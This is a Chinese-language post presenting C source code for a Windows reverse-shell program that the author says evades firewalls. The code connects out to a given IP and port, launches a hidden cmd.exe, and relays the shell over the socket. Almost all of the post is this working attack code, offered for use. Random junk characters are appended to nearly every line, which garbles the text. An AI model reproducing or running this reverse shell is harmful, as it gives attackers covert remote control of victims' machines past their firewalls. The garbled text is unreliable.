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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  YW'l),Z  
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/* ============================== `PI?RU[g*  
Rebound port in Windows NT f}uW(:f  
By wind,2006/7 J[jzkzSu`  
===============================*/ #Pe|}!)u  
#include I.hy"y2&  
#include }CB9H$FkCY  
|P(8T'  
#pragma comment(lib,"wsock32.lib") k btQ  
)F65sV{  
void OutputShell(); EJaGz\\  
SOCKET sClient; gib'f@i;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S/)yi  
/{ FSG!  
void main(int argc,char **argv) 35Cm>X  
{ akV-|v_  
WSADATA stWsaData; JHCXUT-r{  
int nRet; dz=pL$C  
SOCKADDR_IN stSaiClient,stSaiServer; -i*]Sgese  
'NSfGC%7R  
if(argc != 3) &9Xn:<"`)  
{  RR[1mM  
printf("Useage:\n\rRebound DestIP DestPort\n"); Pm== m9  
return; zp:EssO=Q  
} <(W:Q3?s  
xY<*:&  
WSAStartup(MAKEWORD(2,2),&stWsaData); O2N~&<^  
X^7n/|%*.  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3eR c>^wh  
0^mCj<g  
stSaiClient.sin_family = AF_INET; -E>LB\[t)  
stSaiClient.sin_port = htons(0); `tH :oP0=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `=19iAp.  
zr^"zcfz&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <P0&!yN  
{ Bz4;R9_%I  
printf("Bind Socket Failed!\n"); ;(Kj-,>  
return; DQ9}( '^  
} ^C70b)68  
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stSaiServer.sin_family = AF_INET; Ob@HzXH  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n7(/ml+Q_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?#Y1E~N  
u -A_l<K  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wrAcVR  
{ bD<hzOa  
printf("Connect Error!"); H-jxH,mJmW  
return; K?eY<L  
} JGQ)/(  
OutputShell(); ,)Z1&J?  
} bEli!N$  
#@}wl  
void OutputShell() ewVks>lbz  
{ kWbD?i-  
char szBuff[1024]; )W |_f  
SECURITY_ATTRIBUTES stSecurityAttributes; g![?P"i^t  
OSVERSIONINFO stOsversionInfo; Hl=M{)q@   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; p61F@=EL  
STARTUPINFO stStartupInfo; @f`s%o  
char *szShell; sjG@4Or  
PROCESS_INFORMATION stProcessInformation;  2c%b  
unsigned long lBytesRead; m*'87a9q0  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DH!_UV  
*  \%b1  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8DcIM(;Z  
stSecurityAttributes.lpSecurityDescriptor = 0; _`+2e-  
stSecurityAttributes.bInheritHandle = TRUE; A75z/O{  
a}V<CBi  
x/uC)xm  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); O]80";Uv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,nSapmg  
yt#~n _  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tG*HUN?*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gzEcdDD  
stStartupInfo.wShowWindow = SW_HIDE; ~=gpn|@b  
stStartupInfo.hStdInput = hReadPipe; g96]>]A<{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ug8>|wCE  
<Y+>a#T  
GetVersionEx(&stOsversionInfo); z, c=."<z  
->`R[k  
switch(stOsversionInfo.dwPlatformId) q" @%WK  
{ SY$%)(c8kL  
case 1: ,"?xy-6  
szShell = "command.com"; )M_|r2dDq3  
break; %,f(jQfg_  
default: :ioD  *k  
szShell = "cmd.exe"; E{]PfUfFY  
break; D| g{]nO  
} 5E0dX3-  
`qhZZ{s)1U  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %s ">:  
#PQhgli  
send(sClient,szMsg,77,0); nHl{'|~  
while(1) ^b6yN\,S  
{ *}=z^;_oq  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >j)y7DSE  
if(lBytesRead) Mi047-% (  
{ nTCwLnX(O  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qL~|bfN  
send(sClient,szBuff,lBytesRead,0); ZG8Xr "  
} &VTO9d  
else Ue(\-b\)  
{ k;Ask#rs  
lBytesRead=recv(sClient,szBuff,1024,0); rT';7>{g  
if(lBytesRead<=0) break; {ZKXT8'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c|Fu6LF a  
} &;[e  
} PGhYkj2  
lS/l iI'Y  
return; b=XHE1^rM  
}
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